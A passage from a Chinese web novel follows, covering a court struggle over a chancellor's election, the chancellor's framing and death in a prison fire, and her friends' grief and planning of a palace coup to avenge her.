陆锦澜:“我没那么蠢,你一旦表现得太过反常,皇上会深究缘由的。我现在还不想和你一起死,你要是不想惹麻烦的话,自己找个理由弃票吧,我走了。” 陆锦澜起身离开,忽听赵祉钰道:“就算我弃票,你们也赢不了。” 陆锦澜脚步滞了一下,微微回首,不屑道:“没到最后,你怎知鹿死谁手?” * 虽然明面上已经拉够了人数,可不知为何,开票前一晚陆锦澜根本睡不着。 她反复想起赵祉钰最后那句话,会不会有什么玄机呢? 那么自信,不像是装的,难道还有后招?会是什么呢? 难道我漏掉了什么人?还是什么人要在朝上反水? 凛丞见她一直睁着眼,不由心疼道:“睡吧,别想了,你这两天都没好好休息。” “你睡吧,我睡不着。” “要不我把雨眠叫来,让他给你推拿推拿?” 陆锦澜叹了口气,“大晚上别折腾了,你给我按按得了。” 凛丞给她推拿了肩颈,按了按脚上的穴位,陆锦澜竟然真的睡着了。 可她这一觉睡得并不踏实,恍恍惚惚听见梦里有人喊:“城外来人了!” 她猛然惊醒,“什么时辰了?” 凛丞:“快到卯时了。” 陆锦澜急道:“怎么不叫醒我?” 凛丞怪道:“你是不是睡糊涂了?你都半年没上朝了,起这么早做什么?” “今儿和平常能一样吗?今儿我要去上朝。” 陆锦澜便说便开始穿衣服,凛丞急得四处翻找,“这个点儿怕是来不及了,朝服呢?哎呀,好像收到库房里了。” 陆锦澜蹬上鞋,一挥手,“不穿朝服了!” 她骑着马匆匆赶往宫门,大臣们已经进去了,陆锦澜一路小跑,终于在太和殿外追上走在后面的项如蓁。 项如蓁见陆锦澜穿着常服,头发都没来得及梳,就那样蓬头垢面的追到这里,不由得心头一酸,“怎么了?发生了什么事?” 陆锦澜愁道:“我忽然想到,她们既然提前十天得知了消息,便不会只把我们的人支走。她们应该还去一十七州,拉了不少的票。所以赵祉钰才会说,就算她弃票,我们还是赢不了。” 项如蓁不解,“这怎么可能呢?如果她们到京外拉票,不可能一点风声都没露出来。就算旁人不吭声,无辛也会派人来告诉咱们的。” 陆锦澜道:“有可能,只要控制好时间,就能做到。远的地方先通知,近的地方后通知,把时间卡紧,就算有人想提醒我们,送消息的人最快也要今天才能赶到。” “如果我没猜错,她们的人应该也是在今天回来。此时不到,一会儿也会到。我们现在最多领先七票,太容易被追上了。” 陆锦澜无奈地叹了口气,“对不起如蓁,我好像把你送入了一个败局。一会儿朝上的局面会十分尴尬,我……” 项如蓁忽然一笑,“有什么尴尬的?这本就是个败局,没有你,我只会输得更加惨烈。” “可今日我并不觉得尴尬,我反而觉得我很幸福。你和岳母这几日为我不眠不休,奔走牵线,让我倍感荣幸。不必抱歉,你已经为我尽了最大最大的努力,有你在,我便不算一败涂地。换言之,这样的失败,又何尝不是一种荣光?” 她摘掉陆锦澜肩上的发丝,“好了,你这副模样还是不要上朝了,免得人家说咱们输人又输阵。你在这儿等着,我去了。我将坦坦荡荡十分欣然的接受这个败局,你等我。” 项如蓁迈着大步气宇轩昂的进了太和殿,陆锦澜颓然地坐在台阶上,她真不想让她输。 天空渐渐亮了,晨光熹微照在她身上。在森严肃穆的皇宫里,她这道落寞潦草的身影显得格外别致。 八卦传播的速度是惊人的,朝上在热火朝天的选丞相,后宫的小宫男们在七嘴八舌的疯传小道消息。 “听说了吗?今天陆侯来上朝了。” “听说了,好像朝服丢了,没进大殿,在外面坐着呢。” 有人推了推许闰年,“快去看看你家陆侯吧,她家夫郎也不知怎么伺候的,那样就让她出来了。一会儿朝臣们看见,还不笑话?” 许闰年连忙端了盆水拿着布巾梳子过去,只见陆锦澜坐在冰凉的青石台阶上,闭着眼,疲惫地揉捏着眉心。 许闰年低声道:“陆侯,我给你打了水,你要不洗漱一下?我给你梳梳头。” 陆锦澜无力道:“不洗,不梳,老娘没心情,就这样。” 许闰年忙劝道:“一会散朝了大臣们都出来,看见你这样,会笑话你的。” 陆锦澜破罐破摔,“笑吧,今天笑话这么多,笑死她们最好。” 许闰年还想再劝,忽听由远及近的一声声传话,“快去禀告圣上,东州巡抚晏阳兮请求面圣,有十二封急件送到。” 陆锦澜拍了拍脑门,气。 里面很快宣人进去,可紧接着陆锦澜又听到传话,“快去禀告圣上,礼部尚书关山月请求面圣,有急件送到。” 陆锦澜猛然抬起头,“谁?她们说谁要面圣?” 许闰年道:“我听着好像是关大人。” 陆锦澜起身一看,见远处关山月蹒跚的身影摔倒在石阶上,两旁的侍卫连忙将她搀扶起来,架着往上来。 陆锦澜快步迎过去,连忙将人接过来,“你怎么了?” 关山月累得上气不接下气,但看到许闰年时眼睛一亮,“水……我要喝水……” 她抓住水盆就要喝,两人忙道:“这是洗脸水!” 关山月根本不听,咕咚咕咚喝了好几口,终于喘过气来,颤巍巍伸出两根手指,气喘吁吁道:“跑死了两匹马,终于赶回来了。” 陆锦澜看了眼她身上的包袱,忙问:“有没有推举的折子?” 关山月微微一笑,“有,你要推举谁的?” 陆锦澜一愣,“什么意思?你不知道推举的人选是谁?” 关山月摇了摇头,“晏家人去找晏将军拉票,晏将军只知道大皇女要推举的是晏翎。她当即将人扣下,立刻派人到曲国将我追回来,同时联络宋大帅、于大人以及北境五州各处文官武将。” “她说,你们一定会争这个位置。不是你,就是项大人。时间紧急来不及跟你们确认,她干脆让大家写了两份,任你们取用。” 陆锦澜喜道:“太好了!如蓁有希望了!你这儿有多少张推举票?” 关山月得意得伸出两根手指,“二十七封,宋家军、赤诚军所有三品以上的将领,有一个算一个,再加上于大人帮忙拉到的五州高官。” “好!”陆锦澜激动道:“一会儿不要全拿出去,她们刚送来十二票,总票只比咱们多五票,你拿出一半就够了。” 正说着,里面宣人进去,关山月缓过劲儿来,雌赳赳气昂昂大步进殿。 陆锦澜忙对许闰年道:“快,帮我梳头!我先洗把脸,等着看别人的笑话。” “你呀!”许闰年无奈地摇了摇头,“真拿你没办法。” 项如蓁从大殿中出来,陆锦澜已经梳洗好,两张春风得意意气风发的面孔相视一笑,互相拱了拱手。 “相尊大人,恭喜恭喜!” “陆侯,同喜同喜!” 两人走到跟前用力地抱了一下,暗自后怕。 “真险啊,无辛闷声干大事,也不说提前派人来通知一声,吓得我心都快跳出来了。” “等她回来,必须罚她。唉,也不知道她什么时候回来。” * 晏无辛一走,就是五年。 陆锦澜二十三岁,终于长到和穿越前相近的年岁了。 这五年中,晏无辛在边关治军,项如蓁在朝中推行改革,陆锦澜搞她的发明创造。 第三年的时候,怀星抱着一个女儿从边关回来。说是晏无辛让他把孩子抱回来给两位姨母看看,这是她的第一个孩子。 这五年间,陆锦澜和项如蓁也没闲着。 陆锦澜又添了三个女儿,一个儿子。 陆今朝每天陪着一群孩子们玩儿,一天能听见八百声“姥姥”。 但她犹不嫌累,精神似乎比从前更好,还催促陆锦澜,让萧衡把陆安南也接回来。 陆锦澜道:“萧承英现在已经是曲国皇帝了,咱家安南现在是曲国皇储,哪能四处乱跑?等她再大些再说吧。” 跟陆锦澜相比,项如蓁正好相反,她又添了三个儿子,分别取名为听风、观雾、望雨。加上之前的遇白,都快凑成天气预报了。 金大人见金雪卿一直生儿子,私以为是自家人身体出了毛病,便送了两个小郎过来。 其中一个小郎,真的给项如蓁生了个女儿,项如蓁给孩子取名为项羽,甚是喜爱。 但她私下跟陆锦澜说:“我还是希望雪卿和我能有一个女儿,我和雪卿的女儿,一定最像我。” 项如蓁依旧那么勤勉,做了丞相后,常常忙到深夜。 她年年都要出京巡视,第五年,金雪卿又有了身孕,项如蓁说她要去长州。 陆锦澜一愣,“流放的地方,你也要巡查?那苦寒之地,别说当官的不去,就是普通百姓也不去啊。再说,你家雪卿又要生了。” 项如蓁笑道:“我算了日子,能在他生之前赶回来。长州虽然苦寒,但是再苦寒的地方,也是咱们的疆土啊。我去看看,那能不能治理得更好些。就算是被流放的人,也应该越过越好不是?” 陆锦澜一想,反正也劝不住她,便道:“雨眠的娘也被流放到长州,他前些日子做梦还梦到了。你去的话正好帮忙带些银两衣物,也不知道老人家还在不在。” 项如蓁道:“那就再让他写封信吧,只要人还在,我一定将信和东西都带到。顺便给你们家做信使,把回信也带回来。照人也在长州,我去看看她。回来时,再去看看无辛,劝她早点回来。” * 项如蓁一去走了将近一个月,回来时陆锦澜在城门口等着她。 “怎么样?此行顺利吗?” “顺利,想见的人都见到了。你那位楼家岳母,不仅活着,身体还挺硬朗呢。照人我也见到了,她见到我特别高兴。” 陆锦澜连连点头,“真好。” 项如蓁笑道:“还有好消息呢!无辛说她本来想突然回来给咱们个惊喜,没想到我先去了。她上个月已经请命回京,皇上答允了。不过正赶上她旁边的崇州军到了回京换防的时间,皇上让她顺便把五万崇州军带回来,大概比我晚个十来天到。” 陆锦澜喜道:“太好了,咱们三个又可以聚在一起了。” “是啊,无辛也很高兴。怀星说无辛兴奋得天天都在收拾东西,收拾了快一个月了。恐怕她回来跟搬家似的,东西要拉十几辆马车。对了,你那位岳母还写了封回信,让我压在行李里了,等我找出来,送到你家去。” 陆锦澜道:“不急,你让随从先把东西送回家,到我家去吃饭吧,雪卿和孩子也在那儿。” 项如蓁叹了口气,“别提了,今儿没有时间了。我急匆匆回来,是因为皇上生病了。可能要商量皇储的事儿,我得赶紧进宫看看情况。明日吧,明日得空我去找你。” 陆锦澜想了想,“也好,那我明日不去工厂了,在家等你。” 前两年,陆锦澜请旨在忠勇园外荒地上的盖了好大一个工厂。 据说远离人家,是因为不扰民。因为她最近在研究烟火和炮竹,不时传出砰砰砰的声响。 陆锦澜在工厂里巡视了一圈,回家吃饭。 进门的时候,正碰见雪卿带着孩子们要走。 陆锦澜忙道:“呦,不吃了饭再走啊?” 雪卿笑道:“孩子们听说他娘回来了,急着回家。” “那不耽误你们一家团聚了,告诉如蓁,明天早点来。” 这一晚,陆锦澜又开始翻来覆去睡不着。 雨眠道:“你这是怎么了?晏将军要回来了,你高兴得觉都不睡了?” 陆锦澜叹了口气,“不知道怎么回事,眼皮一直跳,好像要发生什么事似的。” 雨眠笑道:“准是喜事,安心睡吧。” “嗯。”陆锦澜忽然地想起来,“你娘给你写了回 信,如蓁明天给你带过来。” “好,那我明天多敬几杯酒,好好谢谢相尊大人。” 雨眠说着帮她盖好被子,吹熄了灯,“睡吧。” 这一晚也不知怎么了,陆锦澜醒来竟然觉得比没睡还累。 一大清早,她躺在摇椅上补眠,总觉得空气里飘着一股奇怪的灼烧的味道。 她将书盖在脸上,正昏昏欲睡,迷迷糊糊听见外面一阵吵嚷。 她将眼睛掀开一条缝,见一个身影跌跌撞撞地进来,“陆侯!陆侯!” 来人带着哭腔,万分惊慌。 陆锦澜定睛一看,竟然是左隋之。 陆锦澜很是诧异,左隋之平日极其稳重,怎的慌成这样? “隋之,你这是怎么了?” 左隋之噗通一声跪倒,“陆侯,昨夜相尊她……她被定了贪污罪,连夜被打入了天牢……” 陆锦澜脑子里嗡一声,“胡说八道!根本不可能的事儿。来人!备马!我要进宫!” 左隋之一把拉住她,艰难开口道:“来不及了。” 陆锦澜忽然怔住,“什么意思?什么来不及?” 左隋之哭道:“说是……说是相尊她羞愤自尽,恰遇昨夜天牢大火,人已经……已经被烧为黑炭了。” 陆锦澜大脑一片空白,身子晃了两下,猛地吐出一口鲜血。 “陆侯!”左隋之大喊一声,连忙抱住她。 家里人纷纷围过来,只听陆锦澜虚弱道:“快……快去告诉无辛,出……出事了……” 她眼前一黑,昏了过去。 第119章 陆锦澜再睁开眼,一屋子的夫郎都在哭。陆今朝坐在她床边,也红了眼…… 陆锦澜声音嘶哑道:“我没事,你们别担心,只是一时急火攻心而已。” 陆今朝哽咽道:“娘知道你伤心,娘也难受极了。你说这……怎么突然出了这种事啊?” 陆锦澜起身道:“我现在没空伤心,不是伤心的时候。你们也别哭了,都咬牙挺住。” “项府现在恐怕已经乱成一团了,雪卿就要生产了,金大人年迈多病,那边老的老小的小,不能无人支应。凛丞你先把家里能带的人都带过去,如蓁的丧事要当成咱们自己家的事来办。” 凛丞擦了擦眼泪,“你放心吧,我这就去。” 陆锦澜又问:“隋之呢?” 雨眠道:“还在外面等着。” 陆锦澜连忙下床,“我要去趟天牢。” 陆今朝担忧道:“也不知道是什么原因,你可千万要小心啊。” 陆锦澜握住她的手,“娘,不管出于什么原因,如蓁死了,这件事在我儿就不会过去。我没办法和你们过安稳日子了,您早做准备吧。” 陆今朝沉痛地点了点头,“娘明白,你去吧。” * 陆锦澜和左隋之赶到天牢,刑部尚书薛应正在带人勘验现场。 见到陆锦澜,薛应担忧道:“陆侯,您……您撑得住吧?” 陆锦澜微微点头,“尸首在哪儿?” 薛应指了指牢里那具焦尸,“您去看看吧。” 陆锦澜咬着牙一步步走近,她抓着尚有余温的铁栏,静静地凝望着那具尸体,怎么也不能相信那是项如蓁。 “这不是项如蓁。”她笃定地说。 薛应鼻子一酸,“我知道您不能接受,可是……可是我们已经勘验无误。相尊大人生前就关在这个牢房里,牢门锁着,牢里的人只能是她。” “何况,这里有十一具尸首,昨晚当值的只有十个人……” “而且,起火前,相尊大人已经饮下毒酒。就算没有这场大火,她也……” 薛应不忍再说,“陆侯,我虽不像你与相尊大人那般亲厚,可我也不希望她死。这几年她身为群臣之首,让朝野上下佩服得五体投地。” “满朝文武不论是谁,但凡是有良心的,都得承认她是个贤臣能臣,是这天底下最大公无私为国为民的好相尊。没有人希望她死,可是咱们得面对现实啊,毕竟这人已经去了。” “您节哀,领回尸首,操办丧事吧。相尊大人一生简朴,她的丧礼,该办得风光体面才是。” 陆锦澜红着眼看向她,“你真觉得这尸首是项如蓁?” 薛应含泪点头,陆锦澜的眼泪瞬间涌了出来,哽咽道:“可我觉得不是。她那么大的一个人,怎么会突然变得这么小啊?” 陆锦澜愤怒地捶着铁栏,哭道:“她怎么会变得这么小?” 在场的人无不落泪,薛应和左隋之哭着将她扶起来,都劝道:“焦尸是这样的,烧久了就会变小。这天牢原本要修缮,堆积了很多木料,大概夜里人都睡死了,不知怎么起了火,大火烧了整整一夜。事已至此,您千万要节哀,要挺住啊!” 陆锦澜哭了一会儿,擦了擦眼泪,“隋之,你将尸首送到项府。” 左隋之忙问:“那你呢?” 陆锦澜咬牙道:“我要进宫,去问清楚到底怎么回事。” * 皇上声称病重,不肯见人。甚至下旨说她要养病,命大皇女赵祉钰监国,代理朝政。 陆锦澜又到了赵祉钰的宫外,赵祉钰也是一样,不肯见她。 陆锦澜苦笑一声,“这算什么?心虚吗?” 赵祉钰的亲信解释道:“殿下政务繁多,一时不得空,请陆侯见谅。” 陆锦澜微微点头,“好,她可以不见我,但是她错过了和我解释的机会,一定会后悔的。” 陆锦澜从宫里出来,到了项府。灵堂刚刚布置起来,院子里已经站满了人。 文武百官京中要员,来得比上朝还全。同窗旧友,京中各界人物,还有些陆锦澜不认识的面孔,都在灵前痛哭。 黎劲草已经是户部左卿了,见到陆锦澜顿时扑过来跪在她面前,抓着她的衣服哭道:“陆侯,相尊大人是冤枉的,她死得冤啊!” 陆锦澜点了点头,“我知道。” 陆锦澜朝众人拱了拱手,“各位请听我说几句,如蓁在名义上是个畏罪服毒的罪人。可我坚信,罪是假的,毒也不是她想服的。她清白得像水一样,何来畏罪一说?” “项如蓁的确家贫,但她的俸禄足以供养她的生活,她用得着贪污吗?身为百官之首,她的日子比绝大多数官员都简朴。” “不信你们可以四处看看,她家里但凡有个贵重的物件,不是我送的就是无辛送的,要么就是她夫郎的陪嫁。就连这座宅子,也是她成婚时,我送给她的。” “她位高权重,却向来谨慎,旁人送来的东西,她一概不收。她掌管户部多年,没有私拿过一文钱到自己的口袋里。” “这样的人,竟然被定了贪污罪,真是何其荒谬。” “多余的话我不想说,只是各位今日来看她,我相信你们不是来看罪人项如蓁,我也相信你们的心中都有公论。我代如蓁谢过诸位,你们没有冤枉她 ,她会倍感欣慰。” 众人纷纷哭道:“相尊大人不会做这种事的,这一定是冤案。” 连从前和项如蓁不对付的老臣都挺身而出道:“我们应该联名上折,必须要查清怎么回事,不能让相尊大人背负一身脏水上路啊。” 吵吵嚷嚷中,洗墨跑过来,低声道:“项家夫郎生了,他想见您。” 陆锦澜到了后宅,凛丞将刚出生的婴儿交给她,哽咽道:“是个女儿,项姐姐如果还活着,一定很高兴。” 陆锦澜抱着孩子坐到床边,金雪卿面如纸色地看向她,瞬间泪如泉涌,“陆侯,我此刻万念俱灰,大约就要活不成了。可我急着见你,是因为我一定要告诉你,我家妻主是冤枉的。” “我知道,我知道。”陆锦澜哽咽道:“你刚刚生产完不要激动,你放心,我一定会为她报仇。可你不能死,你要坚强的活下去,照顾好如蓁的孩子。你要抚养她们长大,告诉孩子们,她娘是一个怎样的人。你必须活着,为如蓁活着,你明白吗?” 金雪卿哭着点了点头,陆锦澜又道:“我知道你现在很悲痛,但我需要你告诉我,昨晚到底发生了事?” 金雪卿虚弱道:“我也不知道,昨儿我带着孩子们从陆府回来,妻主已经从宫里回来了。和我说了会儿话,遇白弄洒了茶杯,水湿到包袱上,她有点不高兴,说楼家人的书信还在里面。” “她怕水把信晕染得没法看,就把信拆开摊在桌面上。我去着人准备晚饭,就出去了一会儿,回来她便对我说,她要再进宫一趟,有急事。” “当时虽然天色已晚,但她平常总是这样不分早晚的忙,我也没觉得什么,可没想到那是最后一面……” 金雪卿说着又哭了起来,医师急道:“产夫不要激动,刚止血了,小心身子。” 陆锦澜忙给他服了几粒止血丸,又叮嘱几个夫郎片刻不离的看着他。 她把金雪卿身边的陪嫁男仆叫过来,“你家夫郎说的信在哪儿?去给我拿过来。” 那封信虽然被茶水濡湿了一部分,字迹却依然可以辨认。 陆锦澜一个人坐在抱厦里看完了信,静默地坐在那儿,一言不发。 * 项府停灵七日,大多时候见不到陆锦澜,谁也不知道她在干什么。 第六日,项府前来的宾客依然络绎不绝,许多人特地从外地赶来,只为了送项如蓁最后一程。 内廷司的曾颖刚刚上完香,见陆锦澜经过,忙把她拉到一旁,关切道:“你还好吗?” 陆锦澜叹了口气,“撑得住。我听人说,你几乎日日都来,多谢了。我这几日忙,招待不周,你别见怪。” “唉,都这时候了,说这话干什么?许多同僚和我一样日日都来,宾客这么多,大家都想尽尽心出份力,帮忙支应一二。” 陆锦澜点了点头,曾颖又道:“其实出事那一晚,我想过给你报信。内廷司拟旨定罪的时候,我便知道要出事。可城门已经关了,而且谁也想不到当天夜里就……” 曾颖叹了口气,“唉,据我说知,宫里、外头,好几拨人都想给你报信。可从定罪,到关入天牢,再到赐毒酒,只用了一个时辰。快到谁都来不及,谁都没办法。” 陆锦澜拍了拍她的肩膀,“我明白,大家都尽力了。这份心意,已经让我十分感激。” 两人正说着,金大人拄着拐杖过来找陆锦澜。 曾颖见了个礼便往前面去了,陆锦澜扶着金云凝到一旁无人的亭子里坐下。 陆锦澜劝道:“您身体不好,别出来了,外面的事情,大伙都帮忙办着呢。” 金云凝叹了口气,“不瞒你说,我这几年身体每况愈下,若不是放心不下如蓁,我早就告老辞官了。可如蓁这一出事,我心里倒多了一口气。” 金云凝苍老的眼睛里生出恨意,她咬牙道:“这口气撑着我,你放心,我一时半会儿死不了。” 陆锦澜道:“我正要告诉您,雪卿说明日出灵,他也要去。他刚刚能下床,去,只能让人抬着去。” 金云凝点头道:“他想去就让他去吧,抬去就抬去。不送如蓁最后一程,他断然不甘心。” 陆锦澜看了看四周,压低了声音道:“我已经同意让他去了,也让人把如蓁的孩子都抱去。明日,我的母亲也会带着夫郎孩子在出殡的队伍里。可出了城,到了墓地,完成了葬礼,我便不会让她们再回来。” 金云凝一愣,低声道:“你要安排她们去北州?” 陆锦澜摇了摇头,“不,去曲国。” 连她自己的封地都不去,金云凝大概猜到她要做什么了。 陆锦澜道:“您也去吧,在曲国等着我的消息,等着我派人接你们回来。如果我没有派人接你们回来,你们就一直生活在那里,终生不要踏入嬅土。” 金云凝叹了口气,“多谢你费心安排,如蓁有你这样的朋友,真是幸事。可我不走,你把雪卿和孩子们送走吧。我已历经两朝,什么样的事儿都见过了,还怕死吗?我要留在这里,陪你一起看风云突变,看最后的结果。” 老人家意志坚定,陆锦澜只好应允。 金云凝又道:“差点忘了,我来找你是因为明日出灵要诵读一篇关于如蓁生平的祭文。旁人写的我都看了,总觉得还是应该由你来写最为妥当。” 陆锦澜忙道:“我这就去写。” 她到了项如蓁的书房,沉吟片刻,提笔写道:“项如蓁,勉州人士,生于辛未年正月初一。出身寒微,乃猎户之女,天生神力,好读书……” “壬戌年于勉州学堂结业,摘得头名。同年进京赶考,在皇家学院武试中勇冠全场,一举夺魁……” “其性情耿直,大公无私,坚钢不可摧其志,万念不可乱其心。官至丞相之位,无一日不勤勉。她呕心沥血,为国为民……” “世人多变,有善始者实繁,能克终者盖寡。然项如蓁秉承年少之志,不忘初心,至死不渝……” “项如蓁为人忠厚,待人赤诚,扶危助困,侠肝义胆。壬戌年九月,我与她和无辛于神京初见,自此结为挚友……” “我与无辛爱贪玩嬉闹,如蓁深沉老练,她待我二人如慈母如长姐,时时提醒我们专心功课切勿懒散。如蓁神力海量,我二人每每贪杯醉酒,如蓁总是将我俩扛在肩上,带回住处……” 写到此处,泪水已经打湿了纸张。 经过书房的人,都能听见里面悲恸的哭声。 * 次日出灵,百姓自发送丧。队伍越来越长,漫山遍野都是哭声。 几位同窗站在陆锦澜身边,楚易舒直言道:“全天下都知道她是冤枉的,全天下都知道她不该死。” “是啊。”陆锦澜轻声说道。 不该死的人却死了,这口气,陆锦澜无论如何也咽不下。 葬礼结束,夫郎们才得知她的安排。纵然百般不愿,也只得听命,上了马车,一路向北。 她和项如蓁的家眷会在专人护送下安全到达曲国,而京城的事还没完。 陆锦澜让众人都先回去,她一个人坐在项如蓁的墓前,弹奏起了古琴。 悲戚的曲调和林中呼啸的风声应和,渐渐铿然有力,有肃杀之意。 她闭着眼,片刻后,嗅到了一丝不属于自己的杀气。 陆锦澜微微仰起头,风将她乌黑的发丝微微吹起,她高声道:“出来吧,这对你们来说,是最好的时机。” 话音未落,十几箭同时射了过来,陆锦澜飞身躲过。 周遭刀剑出鞘,数十名杀手从密林中冲杀出来。 陆锦澜从琴下抽出久未见血的宝剑,大开杀戒。 杀到末尾,最后一具尸体倒下,她还站着。 耳中捕捉到弓弦拉紧的声音,陆锦澜听声辨位,刚要将飞刀掷向那名躲在暗处的弓箭手,一支利箭穿过云霄精准射中了树上那人。 陆锦澜回头一看,晏无辛一身戎装,手握强弓,正飞身 从那匹汗血宝马上下来。 晏无辛双目赤红,语带哽咽,“我回来晚了。” 陆锦澜含泪摇了摇头,两人不约而同地快步走近,紧紧抱在一起。 * 夕阳西下,两位老友坐在项如蓁的墓前,打开了三坛酒。 陆锦澜道:“如蓁死得冤枉,皇上和赵祉钰是罪魁祸首。我已决意要反,你有没有什么顾虑?” 晏无辛道:“当你派人告诉我如蓁的死讯,我便知道,你必定会孤注一掷。我把怀星和孩子留在军中,没有让她们回来。我再没有别的顾虑,你可准备好了?” 陆锦澜摇了摇头,“局势如此,对方必然有了防备。时机,是最坏的时机。前几年皇上和赵祉钰盯我盯得紧,很多事都不方便做。但我还是培植了些人手,养了批死士。” “吏部尚书欠我一个人情,两年前,她帮我把罗大莉提拔到神武门做护卫长。这是私下做的,没有引起任何人注意,所以罗大莉一直在神武门当值,我们进入宫门不是问题。” “隋之手里有一批人,是咱们从北州带回来改编到禁军中的,大概有三千人可用。” 陆锦澜说着从怀里取出一物,“这叫手枪,威力极大。我有一支两百人的神枪队,忠诚可靠。” “可人手还是太少了,这也是我迟迟没有动作的原因。哪怕不算外面的人马,宫城内就有两万禁军,人数上我们太吃亏了。” “不过不要紧,这些人马想要改朝换代是不容易,但杀入宫城杀两个人,轻而易举。我本来想自己动手,可那样一来,事情就太小了。” “我不甘心,我还是想把事情闹大。我要让天下人知道,我是在造反,不是暗杀。至于成败,我不在乎。” 晏无辛忙道:“我在乎,我相信如蓁在天之灵也会在乎。这个皇上当得不好,赵祉钰更不配承继大位,那把皇椅就该你来坐。” 陆锦澜苦笑,“我又不是不想坐,两万禁军都是精锐,万一赵祉钰再调动守备营的人马,咱们的敌人就是七万。咱们的兵远在天边,远水解不了近渴。凭咱手里目前这点兵力,拼光了也打不过。” 晏无辛抿了抿唇,“再加五万人马,够吗?” 陆锦澜一怔,她立即想到项如蓁提到过,晏无辛奉命要带五万崇州军回京换防。 陆锦澜想了想,“崇州军不行,大小将领都是皇上的嫡系。当年就是为了看着赤诚军,皇上才把她们从京城附近调到崇州,摆在赤诚军边上的。” 晏无辛:“你说得没错,可我带回来的不是崇州军,而是对我们忠心耿耿的铁血赤诚军。” 陆锦澜惊道:“怎么可能?难道崇州牧和崇州守备没有异议?崇州方面没有派人来报信?” 晏无辛道:“她们当然有异议,所以她们现在已经被关到了宋大帅那里,严加看管。我来之前将崇州城封了,一只鸟都别想飞到京城来。久了不敢说,三五七日内,消息传不过来。” “赤诚军打着崇州军的旗号,我拿着换防的圣旨,一路畅行无阻。我马快,又日夜兼程,所以先到。” “队伍在后面,孔鸾亲率八千轻骑做先锋军,戌时会埋伏在城外的密林里,等我们的信号。岳蝉率大部队紧随其后,杨凝压阵,今夜子时前,必到。” 陆锦澜一惊:“岳蝉也来了?我母帅怎么说?” 晏无辛道:“不仅岳蝉来了,宋将军和赤诚军大半的将领都来了,我拦都拦不住。大家说,她们要来为如蓁吊血丧。” “宋帅想看你的意思,她说不管你怎么做,她都支持。她把军师闻霁派来了,有她在,一定能比我们想得更周全。” “你想什么时候动手?” 陆锦澜深吸一口气,“事不宜迟,今夜就动手。” 第120章 忠勇园的书房内,站满了人。 有朝上同僚、战场上的战友,也有旧时的同窗。虽然只有十几个人,但都是身居要职,完全可以信任的伙伴。 大家此时出现在这间屋子里,只为共襄盛举。 陆锦澜带着晏无辛一同进来,手里拿了张京城布防图。 陆锦澜看了看周遭的面孔,“各位冒险来此,助我成事,便是我的手足姊妹,我感激不尽。” “我的为人,你们都了解。漂亮的话我不想多说,事成后,我必然不会亏待大家。可我相信,你们来这儿,并不是为了事成后的封赏。” “所以我只有一句话:诸位与我命系一处,成败在此一举,今夜请大家务必拼尽全力。” 众人早就心潮澎湃,听了这话更觉热血沸腾,几个年轻的激动道:“你下命令吧!大家都不是怂人。你说怎么做咱就怎么做,今晚咱们干一票大的!” 陆锦澜将图摊在桌子上,众人立刻围了过来。 陆锦澜道:“我先说一下目前的情况和今晚的行动方案,宫内的守卫禁军有两万人,宫外有京城守备处的五万大军和五城兵马司的一万余人。” “看似人数上对方占优,但我们手里的五万赤诚军可以一敌十,再加上隋之手里的三千人和我的神枪队,胜算在我们这边。” “我们定于今夜子时动手,子时前,隋之会先在宫内集结三千禁军,在神武门附近随时准备策应。无辛带着我的火枪队,在南门内侧埋伏。” “子时一到,赤诚军从南门进入。如果守门的官兵不肯配合,无辛就带火枪队先打这第一仗。” 罗大莉熟悉城门防卫,忙道:“城门守卫没多少人,从外面打很难,里面却很好突破。晏将军用不了半盏茶的时间,就能打开城门。” 陆锦澜点了点头,“赤诚军进城后,需要几个熟悉城内情况的人带路。” “乐闻,起事前你不要进城,就在城外和赤诚军汇合,将计划一一告诉她们。进城后,你带着岳蝉和她率领的八千轻骑,直奔神武门。” 陆锦澜说到这儿看向罗大莉,“大莉,神武门那边有没有什么困难?” 罗大莉拍胸脯保证道:“你放心,我这两年不是白混的,现在神武门那儿都是我的人,你们尽管来。” 陆锦澜道:“好,进入神武门后立刻和隋之带的三千人汇合,扑向禁军营房,控制住宫内守卫,绝不允许她们出来。否则,杀无赦。” 左隋之道:“禁军的营房只有一个大门,我的三千人堵在那儿就够了,分些兵力去别处吧。” 陆锦澜摇头,“不可大意,这些人都是忠心皇上和大皇女的,万一猛冲猛打,你的三千人挡不住,失去了对局面的控制就糟了。不用担心人手,咱们的人手非常充足。” “八千骑兵和你一起拦住禁军,宫内就是咱们的了。神武门再放一万赤诚军进来,便立刻关门封宫。” “外围也是一样,赤诚军全部进城后,立刻关城门。无辛率一万人冲向京城守备营,无论如何,都不能让她们来支援皇宫。” 晏无辛道:“你放心吧,以赤诚军的战力,战场上都能挡数倍之敌。京城的守备军常年不见血,根本不是咱们的对手。尘埃落定前,我不会放一个人出来。” 陆锦澜道:“好,另外让杨凝率一万人控制住五城兵马司。孔鸾率领剩下的一万两千人,负责全城戒严。” “易舒,到时候你来带路。首先,包围京内各官员府邸,尤其是那些平日依附大皇女的官员。其次,接管城内各处城门、要塞、要道,除了我们的人,谁也不许走动。” 楚易舒忙道:“没问题,宫城之外交给我们,你就放心吧。” 陆锦澜点了点头,对关山月和黎劲草道:“你们二人要随赤诚军进到宫内,待我们抓捕赵祉钰的心腹后,你们要立审立判,天亮前将项如蓁事件前因后果弄清楚,迅速公告天下。” 众人一一领命,纷纷回去准备。 金云凝急道:“怎么没有我的事儿,老妇这般无用?” 曾颖也道:“你总该让我做点什么,带路的活儿,谁能比我熟啊?” 陆锦澜笑道:“二位不用着急,我其实有事要拜托二位,只是不在打打杀杀的方案里。你们想,我们兵力足够人手足够,难道就没有缺的东西了吗?” 金云凝沉吟片刻,沉声道:“缺一个出师之名。” 陆锦澜道:“没错,如果有了出师之名,一切会更加好办。我打算现在进宫,去要一道圣旨。等我拿到了那道圣旨,请金大人执圣旨为我联络群臣,以免有人不知情况,妄然兴风作浪。” 金云凝忙道:“此事尽管交给我。” 陆锦澜又对曾颖道:“打打杀杀的事儿,有很多人能做。但是有些文书功夫,还得你来。厮杀,天亮前就能结束,可天亮后如何进行下一步,还需你为我安排。” 曾颖点了点头,“你放心,我会带我的亲信连夜准备所有行文布告。只要你们打赢了,天亮后全城百姓都会知 道你是名正言顺的新帝。” * 赵敏成是真的病了,已经卧床不起。可身为帝王,嗅觉敏锐的她还是嗅到了一丝山雨欲来风满楼的味道。 寝殿里异常的安静,她咳嗽两声,嘶哑道:“来人。” 明黄的床帏被掀开,却出现了一张让她意外的面孔。 赵敏成惊道:“你怎么来了?” 